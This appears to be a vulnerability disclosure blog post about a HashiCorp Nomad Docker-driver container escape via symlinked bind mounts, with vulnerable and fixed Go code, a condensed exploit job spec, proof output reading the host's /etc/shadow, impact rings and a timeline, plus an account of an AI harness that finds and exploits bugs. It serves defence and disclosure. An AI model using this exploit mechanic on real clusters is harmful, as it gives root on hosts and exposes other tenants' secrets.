White-Box // Full Disclosure

An AI harness found a container escape in HashiCorp Nomad (CVE-2026-14891)

A task on a Nomad cluster could break out of its sandbox and read and write host files as root, using a symlinked bind mount, even with the setting operators rely on to stop exactly that. Here is the bug, the exploit, the blast radius, and the fix - and why the way it was found is the real story.

CVE-2026-14891 HCSEC-2026-21 CVSS 8.7 High CWE-59 Fixed in Nomad 2.0.4

"HashiCorp Nomad and Nomad Enterprise are vulnerable to a sandbox escape in the Docker task driver that may allow a job submitter to bind-mount a host path into a container even when volume bind mounts are disabled, potentially leading to reading and writing files on the host."

HashiCorp Security Bulletin HCSEC-2026-21, July 8, 2026

Finding record
CVE
CVE-2026-14891
Severity (HashiCorp, CNA)
8.7 / High
CVSS 3.1 vector
AV:N / AC:L / PR:H / UI:N / S:C / C:H / I:H / A:N
Attack requires
Job-submit access (or any API access if ACLs off) · volumes.enabled = false (the default)
Weakness
CWE-59 Link Following
Fixed in
2.0.4 · Ent 1.11.8 / 1.10.14

01 The vulnerability

Nomad's Docker task driver lets a job bind-mount host paths into a container. To keep tenants from mounting anything they like, operators set volumes.enabled = false. With that set, the driver is supposed to allow a bind mount only if the source stays inside the task's own allocation directory.

The check that enforced that boundary lived in drivers/docker/utils.go:

drivers/docker/utils.gogo · vulnerable
// isParentPath returns true if path is a child or a descendant of parent path.
func isParentPath(parent, path string) bool {
	rel, err := filepath.Rel(parent, path)
	return err == nil && !strings.HasPrefix(rel, "..")
}

This is a string comparison. filepath.Rel does lexical arithmetic on the two paths; it does not touch the filesystem and it does not resolve symlinks. So if the source is a symlink inside the allocation directory that points somewhere outside it, the string test passes ("looks like a child") while the real target is on the host.

That is the whole bug: the guard reasoned about the name of the path, not the file the name resolves to. It is a classic link-following flaw (CWE-59), and the effect is a path-traversal escape from the container sandbox.

02 Preconditions and reachability

Two things have to be true, and both set the honest ceiling on the finding.

Preconditions. The attacker needs the ability to submit a Docker job to the cluster, on a cluster running the default volumes.enabled = false. That is it. No privileged container, no extra capabilities, no host networking - the proof-of-concept ran with allow_privileged = false as well. So the requirement is not "already root," it is "can submit a job," a lower bar than it sounds: that capability lives exactly where credentials leak from - CI/CD service tokens, a developer's Nomad ACL token, a pipeline that turns a merge into a deployment. HashiCorp's advisory puts the bar lower still - authenticated job submission, "or any API access when ACLs are disabled," and Nomad's ACLs are off by default, so on a stock cluster whose API is reachable, anyone who can talk to it qualifies.

Reachability. The bypassed check is not a hardening someone opted into. volumes.enabled defaults to false, and the lexical isParentPath is the guard Nomad runs on every bind mount in that default state. The vulnerable path is the one a stock cluster executes, not an exotic configuration. This is reachable in the box Nomad ships.

03 The exploit

The escape needs a symlink inside the allocation directory and a bind mount that points at it. A single Nomad job does both, using the fact that tasks in a group share the alloc dir:

job.hcl (condensed)hcl · exploit
# task 1 (prestart hook): plant a symlink to host root in the shared alloc dir
args = ["-c", "ln -s / /alloc/evilroot; echo PLANTED"]

# task 2 (main): bind-mount that symlink back in
volumes = ["../alloc/evilroot:/hostfs"]

../alloc/evilroot is lexically inside the alloc dir, so isParentPath waves it through. But it is a symlink to /, so the container gets the host's entire filesystem mounted at /hostfs, read-write, as root. The main task then does what any attacker would:

main task stdoutproof · v2.0.3
--- file written to host, owned root, no sudo ---
-rw-r--r-- 1 root root 38 /hostfs/tmp/PWNED-NOMAD-<uuid>
--- first line of HOST /etc/shadow ---
root:*:20305:0:99999:7:::
--- host hostname ---
ubuntu-lab

The container read the host's /etc/shadow and wrote a root-owned file to the host /tmp, with no sudo, no privileged flag, and volumes disabled. Reproduced against the official Nomad v2.0.3 binary, SHA-256 matched against HashiCorp's published SHA256SUMS.

I am showing the mechanic, not a turnkey script - the automation around submitting the job stays on my disk. On an unpatched cluster the mechanic is enough; that is the point of upgrading. All testing was against my own Nomad instances, on infrastructure I control.

04 Impact and blast radius

Read the impact through the realistic entry point, not an abstract "malicious tenant." The likely attacker is one of: a leaked CI or ACL token, a poisoned pipeline that submits job specs, or a semi-trusted tenant on a shared cluster. Each starts with "can submit a job" and ends with root on the host node. From there the blast radius fans out in rings:

  • NodeRoot on the Nomad client host reaches every other allocation on it - filesystems, mounted secrets, environment - plus the client's own material (node secret, TLS keys, workload-identity signing) and the Docker socket, hence every container on the box.
  • NeighboursOn a shared node, a clean read across every co-scheduled workload's data and secrets. The tenant isolation the operator relied on is gone.
  • ClusterCredentials lifted off that node can be replayed toward the Nomad servers and other clients: node impersonation, workload-identity abuse, a foothold that outlives the job.
  • InfrastructureIf the node carries cloud instance-metadata credentials (IMDS) or authenticates to a secrets backend like Vault, the escape reaches the IAM role and the secrets it can read - the cloud account, not just the box.

How far it actually travels depends on the node's credentials, network segmentation, and whether Vault or IMDS are in reach, so treat the outer rings as reachable surface, not a guaranteed cloud takeover. The honest core is the first ring: host root and a clean cross-tenant read on a shared node, from a single leaked token.

Where it does not matter: a single-tenant cluster whose only job-submitters are trusted admins who already hold host access. There the escape is real but marginal. The finding earns its severity in shared platforms, CI-driven clusters, and anywhere a submit token is meant to be less than host-root.

05 How it was found

I found this with an AI-augmented code-review harness I have been building - and the part that matters is that it doesn't trust the model driving it. The model proposes; nothing becomes a finding until the harness has re-scored the severity deterministically (the one thing a model is reliably wrong about) and proven it with a working exploit in an isolated VM. Most candidates die there.

This one survived: the review flagged the lexical containment check as a link-following risk, and the exploit stage turned that into a container reading the host's /etc/shadow.

06 The fix

HashiCorp fixed this in Nomad 2.0.4 (2026-07-07), in the commit "docker: fix volume mount symlink escape" (PR #28219), backported to the release/2.0.x line. Nomad Enterprise is also fixed in 1.11.8 and 1.10.14; everything through 2.0.3 is affected. They deleted isParentPath entirely and replaced both call sites with a helper that resolves symlinks inside a confined root:

helper/escapingfsgo · fixed
// ChildEscapesParentDir uses the modern os.Root API, which
// accounts for relative paths and symlinks.
func ChildEscapesParentDir(parent, child string) error {
	var err error
	if filepath.IsAbs(child) {
		child, err = filepath.Rel(parent, child)
		if err != nil { return err }
	}
	root, err := os.OpenRoot(parent) // confined to parent
	if err != nil { return err }
	defer root.Close()
	_, err = root.Stat(child)
	if err != nil && !os.IsNotExist(err) { return err }
	return nil
}

os.Root resolves the path within the parent and errors if it escapes. The fix rejects ../ traversal, absolute symlink targets, and symlinks whose target leaves the parent, each covered by a new test. It is the correct shape of fix: resolve the path, then check it, instead of checking the string.

If you run Nomad with the Docker driver, upgrade to 2.0.4 or later. Note the detail that makes this worth acting on: volumes.enabled = false did not protect you on earlier versions. That is exactly the control this bypassed.

07 Why I am writing this up

A single High-severity CVE in one driver is not, on its own, a story. The reason it is one to me is how it was found.

The distance between "a model can read this code" and "a working exploit exists for it" is collapsing. This finding is a small, concrete instance of that.

No manual audit, a general-purpose frontier model, and a harness around it doing the parts the model cannot be trusted to do on its own. And that second half is the part I want to be precise about. The durable capability here was not the model's raw intelligence. It was the machinery around it - the analysis passes, the deterministic scoring, the requirement to prove every finding with a real exploit before believing it. Swap the model and the harness still holds; that is where the capability actually lives. "Model capability" is the headline; "harness capability" is what shipped the CVE.

The defensive conclusion is the symmetric one: if this capability is available to attackers, the answer is to run the same capability inward, continuously, against your own code before someone else runs it against you.


08 Disclosure timeline

  • 2026-06-07Reported to security@hashicorp.com.
  • 2026-06-08Acknowledged by HashiCorp Security.
  • 2026-07-07Fixed in Nomad 2.0.4.
  • 2026-07-08CVE-2026-14891 assigned; advisory HCSEC-2026-21 published.

Credit to the HashiCorp security team for clean, professional coordination throughout. The advisory credits the report to Volkan Kutal, GitHub @KutalVolkan. CVE record: nvd.nist.gov/vuln/detail/CVE-2026-14891.